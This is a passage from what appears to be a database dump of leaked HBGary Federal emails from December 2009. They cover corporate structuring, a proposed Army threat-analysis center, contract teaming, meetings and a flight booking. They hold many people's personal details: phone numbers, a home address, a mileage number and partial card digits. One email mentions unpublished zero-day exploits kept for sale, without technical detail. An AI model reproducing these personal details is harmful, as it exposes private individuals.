join?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 10, 2009, at 12:49 PM, John L. Cox, CPA wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a second CPE Webcast from 3:00-5:00pm EST.&nbsp; I can\r\ngive you a call at 5:15pm or after today EST if okay with you.&nbsp; Please\r\nconfirm time at your convenience.&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn L. Cox,\r\nCPA\r\n\r\n\r\n\r\n\r\n\r\n12107 Faith\r\nLane\r\n\r\n\r\n\r\n\r\n\r\nBowie,\r\nMaryland 20715\r\n\r\n\r\n\r\n\r\n\r\n(240)\r\n949-6022 - Voice\r\n\r\n\r\n\r\n\r\n\r\n(866)\r\n750-1973 - Toll Free Fax\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nmesssage contains information that may be confidential and privileged.&nbsp;\r\nUnless you are the addressee (or authorized to receive for the addressee), you\r\nmay not use, copy, print or disclose to anyone the message or any information\r\ncontained in the message.&nbsp; If you have received this e-mail in error,\r\nplease advise the sender by reply and delete the message.&nbsp; Thank you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera\r\n[mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n10, 2009 12:21 PM\r\nTo:&nbsp;johncoxcpa@verizon.net; Barr Aaron\r\nSubject:&nbsp;LLC / Corp\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr and I just left you a voicemail. &nbsp;We\'d like\r\nto discuss the pros/cons of LLC vs Corp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen you have a moment, please give us a call back:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice: &nbsp;916-459-4727 Aaron ext 117, Ted ext 118\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed H. Vera\r\n\r\n\r\n\r\n\r\n\r\nPresident | COO\r\n\r\n\r\n\r\n\r\n\r\nHB Gary Federal\r\n\r\n\r\n\r\n\r\n\r\nted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nOffice: &nbsp;916-459-4727 ext 118\r\n\r\n\r\n\r\n\r\n\r\nCell: &nbsp;719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3545,'aaron_hbgary_com/3545.html'),(598,'2009-12-11','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999924.M97704P3547Q597.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThat sounds like a pretty nice situation for both of us.&nbsp; We\r\nshould definitely discuss.&nbsp; Next Thurs is bad for me, but Friday works great.&nbsp;\r\nLet me know what time youd like to meet and whether you want to come to RDell\r\nor support at your place.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 10, 2009 1:44 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir follow up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about next Thurs in the morning sometime, or on Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am working on a presentation for ARSTRAT to build a small\r\nthreat center that uses HBGary and Palantir products. &nbsp;The basis is:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary Feed Processor (we process 5000 pieces of malware a\r\nday and classify their threat level).\r\n\r\n\r\n\r\n\r\n\r\nResponder Malware analysis tools\r\n\r\n\r\n\r\n\r\n\r\nPalantir Threat and Link Analysis tool\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2 Linguists/Intel Analysts (1 Chinese/1 Russian)\r\n\r\n\r\n\r\n\r\n\r\n2 Threat Analysts\r\n\r\n\r\n\r\n\r\n\r\n2 Malware Analysts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe investigate/correlate APT and develop threat maps and reports\r\nbased on intel, open, and cyber sources. &nbsp;ARTRAT would provide this to the\r\nrest of the community.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA few questions. &nbsp;Why ARTRAT? &nbsp;They are looking to\r\nbe more relevant cyber wise to the Army. &nbsp;They have money, and they really\r\nlike the idea.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo what do you think?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe can get together and talk about this and other pursuits.\r\n&nbsp;I agree there is a natural convergence of our technologies. &nbsp;Greg is\r\npretty excited as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 8, 2009, at 3:45 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nmeeting with you yesterday.&nbsp; As discussed, if you send me the names and\r\nemail addresses of the people you want to give access to our DevZone to, we can\r\nget them accounts.&nbsp; Once they get access they can download a locally\r\nloaded version of Palantir called a QuickStart.&nbsp; They will be able to\r\nimport their data through a few simple steps outlined on the DevZone website.\r\n&nbsp;Hopefully they can put together a compelling demo path, if needed, I can\r\nbe available for suggestions on the workflow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n&#8211; do you think you could get Geoff access to a trail version of your Digital\r\nDNA product (and anything else he might need)? &nbsp;He can evaluate it in the\r\ncontext of a potential partnership.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n&#8211; whenever you want to discuss federal business opportunities Im game.&nbsp; I\r\nthink that teaming on proposals is a no brainer for work in the cyber domain as\r\nour two product lines are incredibly complementary.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15211,'aaron_hbgary_com/15211.html'),(599,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999935.M767463P3547Q599.eml','\"Carl Tegeder\" <cwa4@cdc.gov>,\"Carl Tegeder\" <cwa4@cdc.gov>','CDC / CIMS','Hi Carl,Attached is a PPT with an overview of our products and services, as well as datasheets on our Responder and Digital DNA products.  We look forward to working with Unisys on CIMS.\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federalwww.hbgary.comOffice: 916-459-4727 ext 118Mobile: 719-237-8623\r\n\r\n\r\n',8783,'aaron_hbgary_com/8783.html'),(600,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999948.M260525P3547Q600.eml','\"Jack Anthony\" <jackanthony78@aol.com>,\"Jack Anthony\" <jackanthony78@aol.com>','HBGary','Hi Jack,It was nice catching up with you.  Attached is a PPT with an overview of our products and services, as well as datasheets on our Responder and Digital DNA products.  We appreciate you passing this along, or connecting us with Scitor and Booz Allen.\r\n\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federalwww.hbgary.comOffice: 916-459-4727 ext 118\r\nMobile: 719-237-8623\r\n',6474,'aaron_hbgary_com/6474.html'),(601,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999948.M872239P3547Q601.eml','\"Barr Aaron\" <aaron@hbgary.com>','CIMS','RFP just dropped:https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=6145e38b1ba0e403ae9cfb17e952e1e7&amp;tab=core&amp;_cview=1\r\nProposal is due Jan 13!We need to look through RFP for how we can help, to get on the team.Ted-- Ted H. VeraPresident | COO\r\nHBGary Federal, Inc.719-237-8623\r\n\r\n',13826,'aaron_hbgary_com/13826.html'),(602,'2009-12-11','ted@hbgary.com','/aaron@hbgary.com/new/1296999949.M323277P3547Q603.eml','aaron@hbgary.com','CIMS','\r\n\r\nI\'ve shared CIMS\r\nMessage from ted@hbgary.com:\r\nI created a CIMS folder under Business Development and I&#39;m putting all of the solicitation documents in it now.\r\nClick to open:\r\nCIMS\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',9373,'aaron_hbgary_com/9373.html'),(603,'2009-12-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999949.M54881P3547Q602.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','ARSTRAT','Greg,\r\n\r\nTed and I are finishing up the slides for ARSTRAT.  When they are all done tonight we\'ll send u a copy.  I think it should excite them.  We are proposing to develop a cyber threat center, initially comprised of:\r\n\r\n1 Chinese Linguist\r\n1 Russian Linguist\r\n1-2 Threat Analysts\r\n2-3 Malware Analysts\r\n\r\nTools: Feed Processor, Responder/DDNA, Palantir.\r\nData feeds from Intel and Open sources, cyber(FeedProc/DDNA/Responder/Netflow)\r\n\r\nThey will develop threat maps and reports for dissemination to cyber operations centers, etc.  Illustrate and enumerate APT, evolution of the threat, threat actors, etc.\r\n\r\nIf we can get this accepted... well good stuff.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15604,'aaron_hbgary_com/15604.html'),(604,'2009-12-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999949.M589786P3547Q604.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Discussion with Agilex','Hey guys,\r\n\r\nSo talked with John today.  When I told him I was primarily interested in building services work he was silent for a bit.  Once I return from Sacramento I will sit down with him and discuss at more length what his goals are, focus, strengths, etc. and see if we can\'t find an area that we can both benefit from the relationship.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7726,'aaron_hbgary_com/7726.html'),(605,'2009-12-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999949.M765635P3547Q605.eml','\"Greg Hoglund\" <greg@hbgary.com>','malware threat center','have you seen this before?\r\n\r\nhttp://mtc.sri.com/\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8338,'aaron_hbgary_com/8338.html'),(606,'2009-12-11','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1296999950.M339724P3547Q607.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion','I can do next Friday from 1-2pm, but I would have to ask you to meet me\r\nin Herndon office where bill Varner sits. I will have a meeting there\r\nthat ends at 1pm. Let me know if this will work\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 10, 2009 1:38 PM\r\nTo: Nieves, Alexander\r\nSubject: Re: Discussion\r\n\r\nHow is your next Friday?  I am open.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron this is week has turned into an appt nightmare. I will have to\r\n> look at another date. Next week is pretty busy also it\'s the week we\r\n> spend on strategy and operations reviews. Let me look at what might be\r\n> open for next week maybe during lunch. Shoot me a couple of dates\r\n> between 1100-1300 time frame for next week. thanks\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, December 08, 2009 12:54 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> How does Friday look Alex?  If it\'s no good I can meet with you maybe\r\n> late next week to go over things and we can catch Greg his next trip\r\n> out.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n> > wrote:\r\n> \r\n>> Aaron im trying to move some appts around so we can meet so let me\r\nsee\r\n>> what I can do for this week?\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>> To: Nieves, Alexander\r\n>> Subject: Discussion\r\n>> \r\n>> Hi Alex,\r\n>> \r\n>> I was wondering if you would be interested in getting together next\r\n>> week\r\n>> to talk about my new role, what we might be able to do together and\r\n>> get\r\n>> a brief on the latest HBGary and Mantech capabilities?  Greg Hoglund\r\n>> will be in town and of course does the best job conveying the\r\n>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>> their\r\n>> tools, but the one I am most excited about is their Digital DNA, it\r\n>> does\r\n>> behavior/characteristic identification of malware based on HBGarys\r\n>> Malware genome database.  So far its 75% successful at detecting all\r\n>> malware we throw at it, as the genome database gets larger that\r\nshould\r\n>> get better, but already pretty good.\r\n>> \r\n>> Another idea I am starting to form is a combined capability that I\r\n>> think\r\n>> can push the rock a little on Attribution.  I am not sure if you are\r\n>> familiar with Palantir.  Their main focus in link analysis, and their\r\n>> tool is best in class.  I want to combine Palantirs capability for\r\n>> externals analysis with HBGarys capability for malware binary\r\nanalysis\r\n>> and fingerprinting and start doing some long term analysis and\r\n>> correlation of attacks.  I think this approach could push the\r\n>> Attribution rock forward a little.\r\n>> \r\n>> I know you guys are in the \"forensics\" space but would really like to\r\n>> talk about what that really means, also share where we are going and\r\n>> see\r\n>> where we might be able to help each other.\r\n>> \r\n>> If you noticed the time of the email.  3rd night in a row I have\r\nwoken\r\n>> up in the middle of the night and can\'t sleep because my mind is\r\n>> racing.\r\n>> Its nice to be excited about work, but I need some sleep.\r\n>> \r\n>> Aaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',418,'aaron_hbgary_com/418.html'),(607,'2009-12-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999950.M534842P3547Q608.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: malware threat center','Yes, and there are other sites like this.  These are potential sources of feed data for us.\r\n \r\nCheck out shadowserver.org\r\n \r\n-Greg\r\nOn Thu, Dec 10, 2009 at 7:23 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nhave you seen this before?http://mtc.sri.com/\r\nAaron BarrCEOHBGary Federal Inc.\r\n',7735,'aaron_hbgary_com/7735.html'),(608,'2009-12-11','ted@hbgary.com','/aaron@hbgary.com/new/1296999950.M58720P3547Q606.eml','aaron@hbgary.com','HBGary Federal ARSTRAT Briefing','\r\n\r\nI\'ve shared HBGary Federal ARSTRAT Briefing\r\nMessage from ted@hbgary.com:\r\nGreg,\r\n\r\nWe will be sending this to ARSTRAT tomorrow morning.  We welcome your comments / feedback.\r\n\r\nThanks!\r\nTed\r\nClick to open:\r\nHBGary Federal ARSTRAT Briefing\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',211,'aaron_hbgary_com/211.html'),(609,'2009-12-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999950.M737730P3547Q609.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: C-Corp','John,\r\n\r\nCan we incorporate as an LLC , then move to a C?  There are losses\r\nthat can be used?\r\n\r\nOn Thu, Dec 10, 2009 at 4:07 PM, Ted Vera  wrote:\r\n> Hi Penny,\r\n> Aaron and I spoke with John today.  It sounds like for our particular\r\n> situation the favored approach is a C-Corp (HBGary Federal, Inc), with a\r\n> separate LLC for intellectual property holdings.\r\n> Regards,\r\n> Ted\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',16503,'aaron_hbgary_com/16503.html'),(610,'2009-12-11','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999951.M21845P3547Q610.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: General Lord','that\'s fine\r\n\r\nOn Thu, Dec 10, 2009 at 1:52 PM, Aaron Barr  wrote:\r\n> Hey Guys,\r\n>\r\n> I was talking with Rich earlier and he mentioned that Matt can get a meeting with General Lord.  If that is the case I suggest that not just be a meeting with him and General Lord.  He is the person that is defining the direction of Cyber for the entire AF.  He is a very smart guy that gets cyber and when he gets excited by something it usually happens.  I suggest that Greg, Myself, as well as Matt go to that meeting.  I was just in a Northrop meeting with him a few months ago and Northrop had 2 presidents and 5 VPs in the room with him.  I also believe that this meeting not just be a product sales discussion but a discussion about what is possible.  It should be a coordinated briefing of capabilities.\r\n>\r\n> Thoughts?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',9894,'aaron_hbgary_com/9894.html'),(611,'2009-12-11','MacRAEsUpdater@macraesbluebook.com','/aaron@hbgary.com/new/1296999951.M331785P3547Q611.eml','aaron@hbgary.com','Status of Your Company Update in MacRAE\'s Blue Book','\r\nDear Aaron Barr:\r\n\r\nThe Update for Hbgary Federal Inc you submitted on December 10, 2009 has been approved.\r\n\r\nYou may now view your updated listing on \r\nhttp://www.macraesbluebook.com/search/company.cfm?company=1214835 . \r\nOr you may login again to the update page\r\nhttp://www.macraesbluebook.com/search/updateCmpNew/update.cfm?cmp=1214835\r\nto make other changes as required. Also, at this time, you can view and update the list of Product Headings associated with your company. Note: It is important to select the most appropriate and maximum number of Product Headings to enable potential buyers to find your company easily among other competing companies\r\n\r\nThank You for keeping your information on the MacRAE\'S BLUE BOOK up-to-date!\r\n\r\nBest Regards,\r\nMacRAE\'S BLUE BOOK Customer Service Team\r\n1.800.206.6548 ext. 225\r\nacaulcutt@owen-media.com.					\r\n	\r\n',8819,'aaron_hbgary_com/8819.html'),(612,'2009-12-11','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999951.M656029P3547Q612.eml','\"Barr Aaron\" <aaron@hbgary.com>','Another option','Maybe.. We could be salaried w2 employees of hbgary. But remain CEO  \r\nand coo of federal LLC\r\n\r\n\r\n',3349,'aaron_hbgary_com/3349.html'),(613,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999952.M53020P3547Q613.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: C-Corp','The primary concern about an LLC is that being members, Aaron and I would be unable to be W2 employees . This would require us to pay self-employment tax and file quarterly tax payments.  Would it be possible to be W2 salaried employees of HBGary, and be CEO/COO of HBGary Federal, LLC?\r\n\r\nTed\r\n\r\n\r\nOn Dec 11, 2009, at 6:03 AM, Penny Leavy wrote:\r\n\r\n> John,\r\n> \r\n> Can we incorporate as an LLC , then move to a C?  There are losses\r\n> that can be used?\r\n> \r\n> On Thu, Dec 10, 2009 at 4:07 PM, Ted Vera  wrote:\r\n>> Hi Penny,\r\n>> Aaron and I spoke with John today.  It sounds like for our particular\r\n>> situation the favored approach is a C-Corp (HBGary Federal, Inc), with a\r\n>> separate LLC for intellectual property holdings.\r\n>> Regards,\r\n>> Ted\r\n>> \r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal, Inc.\r\n>> 719-237-8623\r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',13283,'aaron_hbgary_com/13283.html'),(614,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999955.M542675P3547Q614.eml','\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>,\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>','Briefing','Scott,Attached is the presentation for your review.  Can we link up sometime late next week to discuss (I&#39;ll be in CA Sun-Wed)?In the presentation I list several unpublished 0-day exploits that we have on the shelf.  I&#39;ve included summary reports for two of them for your review.\r\nHope you have a great weekend!Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.Office:  916-459-4727 ext 118Mobile:  719-237-8623\r\n\r\n',1409,'aaron_hbgary_com/1409.html'),(615,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999955.M915853P3547Q615.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: CIMS teaming','FYI --I\'m working the document now.TedBegin forwarded message:From: \"Tegeder, Carl (CDC/OCOO/ITSO) (CTR)\" &lt;cwa4@cdc.gov&gt;Date: December 11, 2009 9:16:25 AM MSTTo: ted@hbgary.comSubject: CIMS teamingTed,&nbsp;Below is the signature block and email for Jim Mitcham.&nbsp; You now have his title and contact info.&nbsp; He is expecting your email when you are ready.&nbsp; He had mentioned he believes it is section 4 of the RFP where you would play.&nbsp; That might help you get through it quicker.&nbsp; Good luck.&nbsp; Jim trusts me and I definitely think you have a good chance at teaming on this.&nbsp; If so, you may be working through Christmas since it is due mid Jan.&nbsp; I would not go into great detail until you have confirmed with Jim that he intends to team with you.&nbsp; Call me if you have questions and I will see what I can do to answer.&nbsp; Please send the email to Jim on his Unisys email.&nbsp; Please use mine as well (carl.tegeder@unisys.com).&nbsp; All other emails to me can be sent to my CDC account.&nbsp; When you do send it call me to discuss and I can tell you about my boss so you will know how to talk to him.&nbsp; He was formerly in charge of all the IRS data centers and retired from there.&nbsp;Have a great day.&nbsp;-Carl&nbsp;&nbsp;&nbsp;Carl F. Tegeder, Jr.&nbsp;&nbsp;|&nbsp;&nbsp;Database &amp; Storage Manager&nbsp;&nbsp;|&nbsp;Mid Tier Data CenterCenters for Disease Control and Prevention (CDC)Unisys&nbsp;&nbsp;|&nbsp; 1600 Clifton Road, M/S D-24, RM 02212.3&nbsp;&nbsp;|&nbsp;&nbsp;Atlanta, GA 30333&nbsp;&nbsp;|&nbsp;&nbsp;404.639.7961 (Office)&nbsp; |&nbsp;&nbsp;404.446.6494 (Mobile) |&nbsp;&nbsp;404.639.7021 (Fax)&nbsp; |&nbsp;&nbsp;Ctegeder@cdc.gov&nbsp;&nbsp;&nbsp;THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY MATERIAL and is thus for use only by the intended recipient. If you received this in error, please contact the sender and delete the e-mail and its attachments from all computers.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Jim MitchamPractice DirectorCDC404-639-7383 Office404-483-1099 Mobilejames.mitcham@unisys.comfgk7@cdc.gov&nbsp;&nbsp;&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n',7861,'aaron_hbgary_com/7861.html'),(616,'2009-12-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999956.M182519P3547Q616.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Your United flight confirmation - December 13, 2009 - Washington to Sacramento','Did you book at the same hotel as me?Courtyard Sacramento Cal Expo1782 Tribute RoadSacramento,&nbsp;CA&nbsp;95815USA1-916-929-7900Fax: 1-916-920-9319It is very close to HBGary HQs.TedOn Dec 7, 2009, at 8:07 AM, Aaron Barr wrote:Begin forwarded message:From: UNITED-CONFIRMATION@UNITED.COMDate: December 7, 2009 10:05:52 AM ESTTo: adbarr@mac.comSubject: Your United flight confirmation - December 13, 2009 - Washington to SacramentoReservation complete: See details below&nbsp;Your ticket(s) have been issued as an&nbsp;E-TicketYour e-ticket was issued•You will receive a confirmation email in a few minutes•Check in for your flight online&nbsp;You may check in within 24 hours of your scheduled flight departure. Check-in closes 45 minutes before scheduled departure time for flights within the U.S., Puerto Rico and the U.S. Virgin Islands and 1 hour before scheduled departure time for international flights•View the&nbsp;Traveler guide&nbsp;to learn about itinerary changes, travel tips, meal and entertainment offeringsYour confirmation number is MTRBDJEasyCheck-in OnlineTotal price: USD 630.40&nbsp;&nbsp;Sun,&nbsp;Dec&nbsp;13,&nbsp;2009 Washington, DC (IAD) to Sacramento, CA (SMF)United 0209Depart: IAD 2:40 PMArrive: LAX 5:30 PMNon-stop5h 50m&nbsp;320&nbsp;2,288 miles traveledFare basis code:TA3GSBooking class: TEconomy2,288 Award miles&nbsp;Food for PurchaseSeats:08D&lt;&lt;&lt; connecting to &gt;&gt;&gt;United 6491Operated by: United Express/skywest AirlinesDepart: LAX 6:15 PMArrive: SMF 7:37 PMNon-stop1h 22m&nbsp;CRJ&nbsp;373 miles traveledFare basis code:QA0KYBooking class: QEconomy373 Award miles&nbsp;No Meal ServiceSeats:11CWed,&nbsp;Dec&nbsp;16,&nbsp;2009 Sacramento, CA (SMF) to Washington, DC (IAD)United 0448Depart: SMF 1:23 PMArrive: DEN 4:47 PMNon-stop2h 24m&nbsp;752&nbsp;910 miles traveledFare basis code:LALHLFSBooking class: LEconomy910 Award miles&nbsp;No Meal ServiceSeats:11C&lt;&lt;&lt; connecting to &gt;&gt;&gt;United 0866Depart: DEN 5:57 PMArrive: IAD 11:09 PMNon-stop3h 12m&nbsp;752&nbsp;1,452 miles traveledFare basis code:WALHLFSBooking class: WEconomy1,452 Award miles&nbsp;Food for PurchaseSeats:31FPenalty CXL BY FLT TIME OR NOVALUENONREF/CHGFEEPLUSFAREDIF/Additional information:Check-in informationPlease note that valid, government-issued photo identification must be presented at check-in.My itineraries&nbsp;Frequently asked questions&nbsp;EasyUpdatePassenger(s)NameAARON D MR BARRTypeAdult&nbsp;Secure Flight data incomplete&nbsp;AddMileage Plus number01394581255EmailADBARR@MAC.COMPhone7195108478FlightSeat020908D649111C044811C086631FPurchase summaryTicket priceCredit card: Visa xxxxxxxxxxx3629Receipt number MTRBDJ&nbsp;630.40 USD&nbsp;Total: 630.40 USD&nbsp;Book your hotelLocationDates of stayHotelRatingPriceSacramento12/13-12/16Ramada Inn &amp; Plaza 